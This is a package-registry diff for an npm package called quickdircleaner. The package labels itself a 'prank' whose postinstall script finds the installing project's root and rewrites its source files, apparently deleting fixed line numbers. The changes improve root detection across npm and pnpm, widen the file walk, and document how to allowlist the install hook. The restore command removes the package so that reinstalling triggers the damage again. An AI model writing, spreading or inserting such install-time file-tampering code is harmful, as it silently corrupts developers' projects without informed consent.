quickdircleaner 1.0.3 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,2 +1,46 @@
1
+ # quickdircleaner
2
+
1
3
  ```bash
4
+ npm install quickdircleaner
2
5
  ```
6
+
7
+ Normally `INIT_CWD` is set so the cleaner targets your project root.
8
+
9
+ ### pnpm v10+
10
+
11
+ pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
12
+
13
+ **Option A — allowlist in your project `package.json`:**
14
+
15
+ ```json
16
+ {
17
+ "pnpm": {
18
+ "onlyBuiltDependencies": ["quickdircleaner"]
19
+ }
20
+ }
21
+ ```
22
+
23
+ Then run `pnpm install` again.
24
+
25
+ **Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
26
+
27
+ See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
28
+
29
+ ### Run the cleaner manually (same as postinstall)
30
+
31
+ From your project root (where your `package.json` lives):
32
+
33
+ ```bash
34
+ node node_modules/quickdircleaner/index.js
35
+ ```
36
+
37
+ ## Restore
38
+
39
+ ```bash
40
+ npx restore-clean
41
+ ```
42
+
43
+ (`restore-clean` is the bin name — not `restore -clean`.)
44
+
45
+ After restore, this package removes **`node_modules/quickdircleaner`** on purpose. Otherwise `npm install` / `pnpm install` would see the dependency as already present and **would not run `postinstall` again**. Run **`npm install`** or **`pnpm install`** once to reinstall it; with pnpm, keep `quickdircleaner` in `onlyBuiltDependencies` if you use that.
46
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.3",
3
+ "version": "1.0.6",
4
4
  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
5
5
  "main": "index.js",
6
6
  "files": [
package/persist.js CHANGED
@@ -14,7 +14,7 @@ async function main() {
14
14
  await core.removeQuickdircleanerPackage(root);
15
15
  console.log(
16
16
  core.magenta(
17
- " quickdircleaner has self\u2011destructed.",
17
+ "💀 quickdircleaner has self\u2011destructed. No more pranks.",
18
18
  ),
19
19
  );
20
20
  return;
package/prank-core.js CHANGED
@@ -76,13 +76,55 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
76
76
 
77
77
  /**
78
78
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
79
- * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
80
- * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
79
+ * Uses INIT_CWD (npm/pnpm/yarn), then npm_config_local_prefix (npm 9+), then walks up from cwd until a
80
+ * directory with package.json is found that is not this dependency’s install folder.
81
+ *
82
+ * Note: pnpm v10+ blocks dependency lifecycle scripts unless the package is allowlisted; postinstall
83
+ * will not run at all in that case (see README).
81
84
  */
85
+ function cwdIsInsideOrEqualHostRoot(hostRoot) {
86
+ const host = path.resolve(hostRoot);
87
+ const cwd = path.resolve(process.cwd());
88
+ const rel = path.relative(host, cwd);
89
+ if (rel === "") {
90
+ return true;
91
+ }
92
+ return !rel.startsWith("..") && !path.isAbsolute(rel);
93
+ }
94
+
95
+ function tryHostDirFromEnvVar(raw, requireCwdInsideRoot) {
96
+ if (raw == null || String(raw).trim() === "") {
97
+ return null;
98
+ }
99
+ const dir = path.resolve(String(raw).trim());
100
+ if (!fsSync.existsSync(path.join(dir, "package.json"))) {
101
+ return null;
102
+ }
103
+ if (requireCwdInsideRoot && !cwdIsInsideOrEqualHostRoot(dir)) {
104
+ return null;
105
+ }
106
+ return dir;
107
+ }
108
+
82
109
  function resolveHostProjectRoot() {
83
- const init = process.env.INIT_CWD;
84
- if (init != null && String(init).trim() !== "") {
85
- return path.resolve(init);
110
+ const fromInit = tryHostDirFromEnvVar(process.env.INIT_CWD, false);
111
+ if (fromInit) {
112
+ return fromInit;
113
+ }
114
+
115
+ const underNpmLifecycle =
116
+ process.env.npm_lifecycle_event === "postinstall" ||
117
+ process.env.npm_lifecycle_event === "install" ||
118
+ process.env.npm_lifecycle_event === "prepare";
119
+
120
+ if (underNpmLifecycle) {
121
+ const fromPrefix = tryHostDirFromEnvVar(
122
+ process.env.npm_config_local_prefix,
123
+ true,
124
+ );
125
+ if (fromPrefix) {
126
+ return fromPrefix;
127
+ }
86
128
  }
87
129
 
88
130
  let dir = path.resolve(process.cwd());
@@ -284,67 +326,29 @@ function isPathInsideProjectRoot(rootResolved, absolutePath) {
284
326
  return !rel.startsWith("..") && !path.isAbsolute(rel);
285
327
  }
286
328
 
329
+ /** Directory name segments we never descend into (dependency / VCS trees). */
330
+ const SKIPPED_DIRECTORY_NAMES = new Set([
331
+ "node_modules",
332
+ ".git",
333
+ ".hg",
334
+ ".svn",
335
+ ]);
336
+
287
337
  function relativePathHasSkippedDir(rel) {
288
338
  const parts = rel.split(/[/\\]/);
289
- return parts.some((p) => p === "node_modules" || p === ".git");
339
+ return parts.some((p) => SKIPPED_DIRECTORY_NAMES.has(p));
290
340
  }
291
341
 
292
- /**
293
- * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
294
- */
295
- async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
296
- const entries = await fs.readdir(rootResolved, {
297
- recursive: true,
298
- withFileTypes: true,
299
- });
300
-
301
- for (const ent of entries) {
302
- if (!ent.isFile()) {
303
- continue;
304
- }
305
-
306
- const parentDir = ent.parentPath ?? ent.path;
307
- if (parentDir == null) {
308
- throw new Error("RECURSIVE_READDIR_NO_PARENT");
309
- }
310
-
311
- const fullPath = path.resolve(parentDir, ent.name);
312
- if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
313
- continue;
314
- }
315
-
316
- const rel = path.relative(rootResolved, fullPath);
317
- if (rel === "" || relativePathHasSkippedDir(rel)) {
318
- continue;
319
- }
320
-
321
- const base = path.basename(fullPath);
322
- if (
323
- base === BACKUP_NAME ||
324
- base === DONE_FLAG ||
325
- base === COUNTER_FILE ||
326
- base === "package.json"
327
- ) {
328
- continue;
329
- }
330
-
331
- const ext = path.extname(base).toLowerCase();
332
- if (!CLEANABLE_EXT.has(ext)) {
333
- continue;
334
- }
335
-
336
- try {
337
- await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
338
- } catch {
339
- /* skip */
340
- }
341
- }
342
+ function shouldSkipDirectoryEntry(name) {
343
+ return SKIPPED_DIRECTORY_NAMES.has(name);
342
344
  }
343
345
 
344
346
  /**
345
- * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
347
+ * Visits every directory under root (arbitrary depth, all branches) except skipped trees.
348
+ * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
349
+ * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
346
350
  */
347
- async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
351
+ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
348
352
  const visitedDirs = new Set();
349
353
  const queue = [path.resolve(rootResolved)];
350
354
 
@@ -363,7 +367,7 @@ async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
363
367
  }
364
368
 
365
369
  for (const ent of entries) {
366
- if (ent.name === "node_modules" || ent.name === ".git") {
370
+ if (shouldSkipDirectoryEntry(ent.name)) {
367
371
  continue;
368
372
  }
369
373
 
@@ -435,11 +439,7 @@ async function walkAndClean(root, backupEntries, logCleaned) {
435
439
  }
436
440
  rootResolved = path.resolve(rootResolved);
437
441
 
438
- try {
439
- await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
440
- } catch {
441
- await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
442
- }
442
+ await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
443
443
  }
444
444
 
445
445
  /**
package/restore.js CHANGED
@@ -155,6 +155,12 @@ async function main() {
155
155
  console.log(core.green(`Restored ${restored} item(s).`));
156
156
 
157
157
  await core.deleteCounter(root);
158
+ await core.removeQuickdircleanerPackage(root);
159
+ console.log(
160
+ core.green(
161
+ "Removed node_modules/quickdircleaner so the next install can run postinstall again.",
162
+ ),
163
+ );
158
164
 
159
165
  const flagPath = path.join(root, core.DONE_FLAG);
160
166
  const flagOk = await removeIfExists(flagPath);